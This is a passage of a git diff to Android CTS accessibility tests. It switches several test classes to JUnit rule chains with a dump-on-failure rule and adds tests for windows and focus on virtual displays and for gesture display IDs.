index 16e0b68..3cf9c49 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -17,7 +17,9 @@
 
 import static org.junit.Assert.assertEquals;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.app.Instrumentation;
 import android.content.pm.PackageManager;
 import android.media.AudioManager;
@@ -28,7 +30,9 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /**
@@ -43,6 +47,18 @@
     // If a11y volume is stuck at a single value, don't run the tests
     boolean mFixedA11yVolume;
 
+    private InstrumentedAccessibilityServiceTestRule<InstrumentedAccessibilityService>
+            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    InstrumentedAccessibilityService.class, false);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mServiceRule)
+            .around(mDumpOnFailureRule);
+
     @Before
     public void setUp() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -83,20 +99,13 @@
         final int MIN = mAudioManager.getStreamMinVolume(AudioManager.STREAM_ACCESSIBILITY);
         final int MAX = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_ACCESSIBILITY);
         final int otherVolume = (startingVolume == MIN) ? MAX : MIN;
-        final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
-                .enableService(mInstrumentation, InstrumentedAccessibilityService.class);
-        try {
-            service.runOnServiceSync(() ->
-                    mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume,
-                            0));
-            assertEquals("Accessibility service should be able to change accessibility volume",
-                    otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
-            service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
-                    AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
-        } finally {
-            if (service != null) {
-                service.runOnServiceSync(() -> service.disableSelf());
-            }
-        }
+        final InstrumentedAccessibilityService service = mServiceRule.enableService();
+
+        service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
+                AudioManager.STREAM_ACCESSIBILITY, otherVolume, 0));
+        assertEquals("Accessibility service should be able to change accessibility volume",
+                otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
+        service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
+                AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
old mode 100755
new mode 100644
index f1fca9f..f32871b
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -19,8 +19,10 @@
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangedWithChangeTypes;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
 import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
+import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
 import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
@@ -48,10 +50,11 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.AccessibilityServiceInfo;
-import android.accessibilityservice.cts.activities.AccessibilityEndToEndActivity;
 import android.accessibilityservice.cts.activities.AccessibilityWindowQueryActivity;
+import android.app.Activity;
 import android.app.ActivityTaskManager;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
@@ -59,8 +62,11 @@
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.graphics.Rect;
+import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.util.SparseArray;
+import android.view.Display;
 import android.view.Gravity;
 import android.view.View;
 import android.view.WindowManager;
@@ -81,6 +87,7 @@
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
@@ -108,14 +115,18 @@
     private static UiAutomation sUiAutomation;
 
     private AccessibilityWindowQueryActivity mActivity;
+    private Activity mActivityOnVirtualDisplay;
 
-    @Rule
-    public ActivityTestRule<AccessibilityWindowQueryActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityWindowQueryActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityWindowQueryActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
     @Rule
-    public ActivityTestRule<AccessibilityEndToEndActivity> mEndToEndActivityRule =
-            new ActivityTestRule<>(AccessibilityEndToEndActivity.class, false, false);
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
 
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
@@ -313,7 +324,7 @@
         try {
             // Add two more windows.
             final View views[];
-            views = addTwoAppPanelWindows();
+            views = addTwoAppPanelWindows(mActivity);
 
             try {
                 // Put accessibility focus in the first app window.
@@ -611,7 +622,7 @@
 
     @Test
     public void testGetWindows_resultIsSortedByLayerDescending() throws TimeoutException {
-        addTwoAppPanelWindows();
+        addTwoAppPanelWindows(mActivity);
         List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
 
         AccessibilityWindowInfo windowAddedFirst = findWindow(windows, R.string.button1);
@@ -621,11 +632,67 @@
         assertThat(windows, new IsSortedBy<>(w -> w.getLayer(), /* ascending */ false));
     }
 
+    @Test
+    public void testGetWindowsOnAllDisplays_resultIsSortedByLayerDescending() throws Exception {
+        addTwoAppPanelWindows(mActivity);
+        // Creates a virtual display.
+        try (final VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+            final int virtualDisplayId =
+                    displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+                            sInstrumentation.getContext(), false).getDisplayId();
+            // Launches an activity on virtual display.
+            mActivityOnVirtualDisplay = launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+                    sInstrumentation, sUiAutomation,
+                    AccessibilityEmbeddedDisplayTest.EmbeddedDisplayActivity.class,
+                    virtualDisplayId);
+            // Adds two app panel windows on activity of virtual display.
+            addTwoAppPanelWindows(mActivityOnVirtualDisplay);
+
+            // Gets all windows.
+            SparseArray<List<AccessibilityWindowInfo>> allWindows =
+                    sUiAutomation.getWindowsOnAllDisplays();
+            assertNotNull(allWindows);
+            assertTrue(allWindows.size() == 2);
+
+            // Gets windows on default display.
+            List<AccessibilityWindowInfo> windowsOnDefaultDisplay =
+                    allWindows.get(Display.DEFAULT_DISPLAY);
+            assertNotNull(windowsOnDefaultDisplay);
+            assertTrue(windowsOnDefaultDisplay.size() > 0);
+
+            AccessibilityWindowInfo windowAddedFirst =
+                    findWindow(windowsOnDefaultDisplay, R.string.button1);
+            AccessibilityWindowInfo windowAddedSecond =
+                    findWindow(windowsOnDefaultDisplay, R.string.button2);
+            assertThat(windowAddedFirst.getLayer(), lessThan(windowAddedSecond.getLayer()));
+            assertThat(windowsOnDefaultDisplay,
+                    new IsSortedBy<>(w -> w.getLayer(), /* ascending */ false));
+
+            // Gets windows on virtual display.
+            List<AccessibilityWindowInfo> windowsOnVirtualDisplay =
+                    allWindows.get(virtualDisplayId);
+            assertNotNull(windowsOnVirtualDisplay);
+            assertTrue(windowsOnVirtualDisplay.size() > 0);
+
+            AccessibilityWindowInfo windowAddedFirstOnVirtualDisplay =
+                    findWindow(windowsOnVirtualDisplay, R.string.button1);
+            AccessibilityWindowInfo windowAddedSecondOnVirtualDisplay =
+                    findWindow(windowsOnVirtualDisplay, R.string.button2);
+            assertThat(windowAddedFirstOnVirtualDisplay.getLayer(),
+                    lessThan(windowAddedSecondOnVirtualDisplay.getLayer()));
+            assertThat(windowsOnVirtualDisplay,
+                    new IsSortedBy<>(w -> w.getLayer(), /* ascending */ false));
+
+            mActivityOnVirtualDisplay.finish();
+        }
+    }
+
     private AccessibilityWindowInfo findWindow(List<AccessibilityWindowInfo> windows,
             int btnTextRes) {
         return windows.stream()
                 .filter(w -> w.getRoot()
-                        .findAccessibilityNodeInfosByText(mActivity.getString(btnTextRes))
+                        .findAccessibilityNodeInfosByText(
+                                sInstrumentation.getTargetContext().getString(btnTextRes))
                         .size() == 1)
                 .findFirst()
                 .get();
@@ -714,7 +781,7 @@
         }
     }
 
-    private View[] addTwoAppPanelWindows() throws TimeoutException {
+    private View[] addTwoAppPanelWindows(Activity activity) throws TimeoutException {
         setAccessInteractiveWindowsFlag();
         sUiAutomation
                 .waitForIdle(TIMEOUT_WINDOW_STATE_IDLE, DEFAULT_TIMEOUT_MS);
@@ -722,16 +789,16 @@
         return new View[] {
                 addWindow(R.string.button1, params -> {
                     params.gravity = Gravity.TOP;
-                    params.y = getStatusBarHeight(mActivity);
-                }),
+                    params.y = getStatusBarHeight(activity);
+                }, activity),
                 addWindow(R.string.button2, params -> {
                     params.gravity = Gravity.BOTTOM;
-                })
+                }, activity)
         };
     }
 
-    private Button addWindow(int btnTextRes, Consumer<WindowManager.LayoutParams> configure)
-            throws TimeoutException {
+    private Button addWindow(int btnTextRes, Consumer<WindowManager.LayoutParams> configure,
+            Activity activity) throws TimeoutException {
         AtomicReference<Button> result = new AtomicReference<>();
         sUiAutomation.executeAndWaitForEvent(() -> {
             sInstrumentation.runOnMainSync(() -> {
@@ -743,13 +810,13 @@
                         | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
                         | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
                 params.type = WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
-                params.token = mActivity.getWindow().getDecorView().getWindowToken();
+                params.token = activity.getWindow().getDecorView().getWindowToken();
                 configure.accept(params);
 
-                final Button button = new Button(mActivity);
+                final Button button = new Button(activity);
                 button.setText(btnTextRes);
                 result.set(button);
-                mActivity.getWindowManager().addView(button, params);
+                activity.getWindowManager().addView(button, params);
             });
         }, filterWindowsChangedWithChangeTypes(WINDOWS_CHANGE_ADDED), DEFAULT_TIMEOUT_MS);
         return result.get();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
index 71c34c2..35ad056 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
@@ -19,8 +19,11 @@
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangeTypesAndWindowTitle;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangedWithChangeTypes;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitleAndDisplay;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.getActivityTitle;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
 import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
 import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
 import static android.view.accessibility.AccessibilityEvent.TYPE_WINDOWS_CHANGED;
@@ -39,11 +42,14 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.cts.activities.AccessibilityWindowReportingActivity;
+import android.accessibilityservice.cts.utils.DisplayUtils;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
+import android.view.Display;
 import android.view.Gravity;
 import android.view.View;
 import android.view.WindowManager;
@@ -62,6 +68,7 @@
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 import java.util.List;
@@ -82,10 +89,17 @@
     private Activity mActivity;
     private CharSequence mActivityTitle;
 
-    @Rule
-    public ActivityTestRule<AccessibilityWindowReportingActivity> mActivityRule =
+    private ActivityTestRule<AccessibilityWindowReportingActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityWindowReportingActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -223,6 +237,54 @@
     }
 
     @Test
+    public void moveFocusToAnotherDisplay_movesActiveAndFocusWindow() throws Exception {
+        // Makes sure activityWindow on default display is focused
+        AccessibilityWindowInfo activityWindow = findWindowByTitle(sUiAutomation, mActivityTitle);
+        assertTrue(activityWindow.isActive());
+        assertTrue(activityWindow.isFocused());
+
+        // Creates a virtual display.
+        try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+            final int virtualDisplayId =
+                displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+                    sInstrumentation.getContext(), false).getDisplayId();
+            // Launchs an activity on virtual display.
+            final Activity activityOnVirtualDisplay =
+                    launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(sInstrumentation,
+                            sUiAutomation,
+                            AccessibilityEmbeddedDisplayTest.EmbeddedDisplayActivity.class,
+                            virtualDisplayId);
+            final CharSequence activityTitle = getActivityTitle(sInstrumentation,
+                    activityOnVirtualDisplay);
+            // Make sure activityWindow on virtual display is focused.
+            AccessibilityWindowInfo activityWindowOnVirtualDisplay =
+                findWindowByTitleAndDisplay(sUiAutomation, activityTitle, virtualDisplayId);
+            // Windows may have changed - refresh.
+            activityWindow = findWindowByTitle(sUiAutomation, mActivityTitle);
+            try {
+                assertFalse(activityWindow.isActive());
+                assertFalse(activityWindow.isFocused());
+                assertTrue(activityWindowOnVirtualDisplay.isActive());
+                assertTrue(activityWindowOnVirtualDisplay.isFocused());
+            } finally {
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> {
+                            sInstrumentation.runOnMainSync(
+                                    () -> activityOnVirtualDisplay.finish());
+                        },
+                        filterWindowsChangedWithChangeTypes(WINDOWS_CHANGE_FOCUSED |
+                                WINDOWS_CHANGE_ACTIVE),
+                        TIMEOUT_ASYNC_PROCESSING);
+            }
+        }
+        // The focused window should be returned to activity at default display after
+        // the activity at virtual display is destroyed.
+        activityWindow = findWindowByTitle(sUiAutomation, mActivityTitle);
+        assertTrue(activityWindow.isActive());
+        assertTrue(activityWindow.isFocused());
+    }
+
+    @Test
     public void testChangeAccessibilityFocusWindow_getEvent() throws Exception {
         final AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
         info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
index 92821b8..346c62e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
@@ -14,30 +14,48 @@
 
 package android.accessibilityservice.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.GestureDescription;
 import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.graphics.Path;
 import android.graphics.PathMeasure;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
-import android.test.InstrumentationTestCase;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests for creating gesture descriptions.
  */
 @Presubmit
 @AppModeFull
-public class GestureDescriptionTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class GestureDescriptionTest {
     static final int NOMINAL_PATH_DURATION = 100;
     private Path mNominalPath;
 
-    @Override
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Before
     public void setUp() {
         mNominalPath = new Path();
         mNominalPath.moveTo(0, 0);
         mNominalPath.lineTo(10, 10);
     }
 
+    @Test
     public void testCreateStroke_noDuration_shouldThrow() {
         try {
             new StrokeDescription(mNominalPath, 0, 0);
@@ -46,6 +64,7 @@
         }
     }
 
+    @Test
     public void testCreateStroke_negativeStartTime_shouldThrow() {
         try {
             new StrokeDescription(mNominalPath, -1, NOMINAL_PATH_DURATION);
@@ -54,6 +73,7 @@
         }
     }
 
+    @Test
     public void testCreateStroke_negativeStartX_shouldThrow() {
         Path negativeStartXPath = new Path();
         negativeStartXPath.moveTo(-1, 0);
@@ -65,6 +85,7 @@
         }
     }
 
+    @Test
     public void testCreateStroke_negativeStartY_shouldThrow() {
         Path negativeStartYPath = new Path();
         negativeStartYPath.moveTo(0, -1);
@@ -76,6 +97,7 @@
         }
     }
 
+    @Test
     public void testCreateStroke_negativeEndX_shouldThrow() {
         Path negativeEndXPath = new Path();
         negativeEndXPath.moveTo(0, 0);
@@ -87,6 +109,7 @@
         }
     }
 
+    @Test
     public void testCreateStroke_negativeEndY_shouldThrow() {
         Path negativeEndYPath = new Path();
         negativeEndYPath.moveTo(0, 0);
@@ -98,6 +121,7 @@
         }
     }
 
+    @Test
     public void testCreateStroke_withEmptyPath_shouldThrow() {
         Path emptyPath = new Path();
         try {
@@ -107,6 +131,7 @@
         }
     }
 
+    @Test
     public void testCreateStroke_pathWithMultipleContours_shouldThrow() {
         Path multiContourPath = new Path();
         multiContourPath.moveTo(0, 0);
@@ -120,6 +145,7 @@
         }
     }
 
+    @Test
     public void testStrokeDescriptionWillContinue() {
         StrokeDescription strokeDescription = new StrokeDescription(mNominalPath, 0, 100);
         assertFalse(strokeDescription.willContinue());
@@ -138,6 +164,7 @@
         assertTrue(continuation.willContinue());
     }
 
+    @Test
     public void testAddStroke_allowUpToMaxPaths() {
         GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
         for (int i = 0; i < GestureDescription.getMaxStrokeCount(); i++) {
@@ -156,6 +183,7 @@
         }
     }
 
+    @Test
     public void testAddStroke_withDurationTooLong_shouldThrow() {
         Path path = new Path();
         path.moveTo(10, 10);
@@ -169,6 +197,7 @@
         }
     }
 
+    @Test
     public void testEmptyDescription_shouldThrow() {
         GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
         try {
@@ -178,6 +207,7 @@
         }
     }
 
+    @Test
     public void testStrokeDescriptionGetters_workAsExpected() {
         int x = 100;
         int startY = 100;
@@ -201,4 +231,18 @@
         PathMeasure measure = new PathMeasure(returnedPath, false);
         assertEquals(50, (int) measure.getLength());
     }
+
+    @Test
+    public void testSetDisplayId_getCorrectDisplayId() {
+        Path path = new Path();
+        path.moveTo(100, 100);
+        StrokeDescription stroke = new StrokeDescription(path, 150, 100);
+        GestureDescription.Builder builder = new GestureDescription.Builder();
+        builder.addStroke(stroke);
+        builder.setDisplayId(2);
+
+        GestureDescription gesture = builder.build();
+
+        assertEquals(2, gesture.getDisplayId());
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
index 042904b..049bae1 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
@@ -14,32 +14,39 @@
 
 package android.accessibilityservice.cts;
 
-import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import static org.junit.Assert.fail;
 
-import android.app.Instrumentation;
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibilityservice.AccessibilityGestureEvent;
 import android.view.accessibility.AccessibilityEvent;
+
 import java.util.ArrayList;
+import java.util.List;
 
 /** Accessibility service stub, which will collect recognized gestures. */
 public class GestureDetectionStubAccessibilityService extends InstrumentedAccessibilityService {
     private static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
-    private static final long EVENT_RECOGNIZE_TIMEOUT_MS = 3000;
+    private static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
     // Member variables
-    private final Object mLock = new Object();
+    protected final Object mLock = new Object();
     private ArrayList<Integer> mCollectedGestures = new ArrayList();
-    private ArrayList<Integer> mCollectedEvents = new ArrayList();
-
-    public static GestureDetectionStubAccessibilityService enableSelf(
-            Instrumentation instrumentation) {
-        return InstrumentedAccessibilityService.enableService(
-                instrumentation, GestureDetectionStubAccessibilityService.class);
-    }
+    private ArrayList<AccessibilityGestureEvent> mCollectedGestureEvents = new ArrayList();
+    protected ArrayList<Integer> mCollectedEvents = new ArrayList();
 
     @Override
     protected boolean onGesture(int gestureId) {
         synchronized (mCollectedGestures) {
             mCollectedGestures.add(gestureId);
-            mCollectedGestures.notifyAll(); // Stop waiting for gesture.
+        }
+        return true;
+    }
+
+    @Override
+    public boolean onGesture(AccessibilityGestureEvent gestureEvent) {
+        super.onGesture(gestureEvent);
+        synchronized (mCollectedGestureEvents) {
+            mCollectedGestureEvents.add(gestureEvent);
+            mCollectedGestureEvents.notifyAll(); // Stop waiting for gesture.
         }
         return true;
     }
@@ -48,6 +55,9 @@
         synchronized (mCollectedGestures) {
             mCollectedGestures.clear();
         }
+        synchronized (mCollectedGestureEvents) {
+            mCollectedGestureEvents.clear();
+        }
     }
 
     public int getGesturesSize() {
@@ -62,20 +72,33 @@
         }
     }
 
-    /** Wait for onGesture() to collect next gesture. */
-    public void waitUntilGesture() {
-        synchronized (mCollectedGestures) {
-            if (mCollectedGestures.size() > 0) {
+    /** Waits for {@link #onGesture(AccessibilityGestureEvent)} to collect next gesture. */
+    public void waitUntilGestureInfo() {
+        synchronized (mCollectedGestureEvents) {
+            //Assume the size of mCollectedGestures is changed before mCollectedGestureEvents.
+            if (mCollectedGestureEvents.size() > 0) {
                 return;
             }
             try {
-                mCollectedGestures.wait(GESTURE_RECOGNIZE_TIMEOUT_MS);
+                mCollectedGestureEvents.wait(GESTURE_RECOGNIZE_TIMEOUT_MS);
             } catch (InterruptedException e) {
                 throw new RuntimeException(e);
             }
         }
     }
 
+    public int getGestureInfoSize() {
+        synchronized (mCollectedGestureEvents) {
+            return mCollectedGestureEvents.size();
+        }
+    }
+
+    public AccessibilityGestureEvent getGestureInfo(int index) {
+        synchronized (mCollectedGestureEvents) {
+            return mCollectedGestureEvents.get(index);
+        }
+    }
+
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
         synchronized (mLock) {
@@ -124,4 +147,37 @@
             }
         }
     }
+
+    /** Insure that the specified accessibility events have been received. */
+    public void assertPropagated(int... events) {
+        waitUntilEvent(events.length);
+        // Set up readable error reporting.
+        List<String> received = new ArrayList<>();
+        List<String> expected = new ArrayList<>();
+        for (int event : events) {
+            expected.add(AccessibilityEvent.eventTypeToString(event));
+        }
+        for (int i = 0; i < getEventsSize(); ++i) {
+            received.add(AccessibilityEvent.eventTypeToString(getEvent(i)));
+        }
+
+        if (events.length != getEventsSize()) {
+            String message =
+                    String.format(
+                            "Received %d events when expecting %d. Received %s, expected %s",
+                            received.size(),
+                            expected.size(),
+                            received.toString(),
+                            expected.toString());
+            fail(message);
+        }
+        else if (!expected.equals(received)) {
+            String message =
+                    String.format(
+                            "Received %s, expected %s",
+                            received.toString(),
+                            expected.toString());
+            fail(message);
+        }
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index 72bbd97..8393012 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -18,11 +18,11 @@
 
 import static android.accessibilityservice.cts.utils.AsyncUtils.await;
 import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
 import static android.accessibilityservice.cts.utils.GestureUtils.add;
 import static android.accessibilityservice.cts.utils.GestureUtils.click;
 import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
 import static android.accessibilityservice.cts.utils.GestureUtils.distance;
+import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.drag;
 import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
 import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
@@ -31,21 +31,17 @@
 import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
 import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
 import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.accessibilityservice.cts.utils.GestureUtils.tripleTap;
 import static android.view.MotionEvent.ACTION_DOWN;
 import static android.view.MotionEvent.ACTION_MOVE;
 import static android.view.MotionEvent.ACTION_UP;
 
-import static org.hamcrest.Matchers.empty;
-import static org.hamcrest.Matchers.is;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThat;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
-import static java.util.concurrent.TimeUnit.SECONDS;
-
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.GestureDescription;
 import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
@@ -53,10 +49,8 @@
 import android.app.Instrumentation;
 import android.content.pm.PackageManager;
 import android.graphics.PointF;
-import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
-import android.view.MotionEvent;
 import android.widget.TextView;
 
 import androidx.test.InstrumentationRegistry;
@@ -67,12 +61,9 @@
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-
 /**
  * Class for testing magnification.
  */
@@ -95,10 +86,22 @@
 
     private final Object mZoomLock = new Object();
 
-    @Rule
-    public ActivityTestRule<GestureDispatchActivity> mActivityRule =
+    private ActivityTestRule<GestureDispatchActivity> mActivityRule =
             new ActivityTestRule<>(GestureDispatchActivity.class);
 
+    private InstrumentedAccessibilityServiceTestRule<StubMagnificationAccessibilityService>
+            mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    StubMagnificationAccessibilityService.class, false);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mServiceRule)
+            .around(mDumpOnFailureRule);
+
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -113,7 +116,7 @@
                         Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
         setMagnificationEnabled(true);
 
-        mService = StubMagnificationAccessibilityService.enableSelf(mInstrumentation);
+        mService = mServiceRule.enableService();
         mService.getMagnificationController().addListener(
                 (controller, region, scale, centerX, centerY) -> {
                     mCurrentScale = scale;
@@ -140,8 +143,6 @@
         if (!mHasTouchscreen) return;
 
         setMagnificationEnabled(mOriginalIsMagnificationEnabled);
-
-        runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelfAndRemove));
     }
 
     @Test
@@ -196,9 +197,9 @@
 
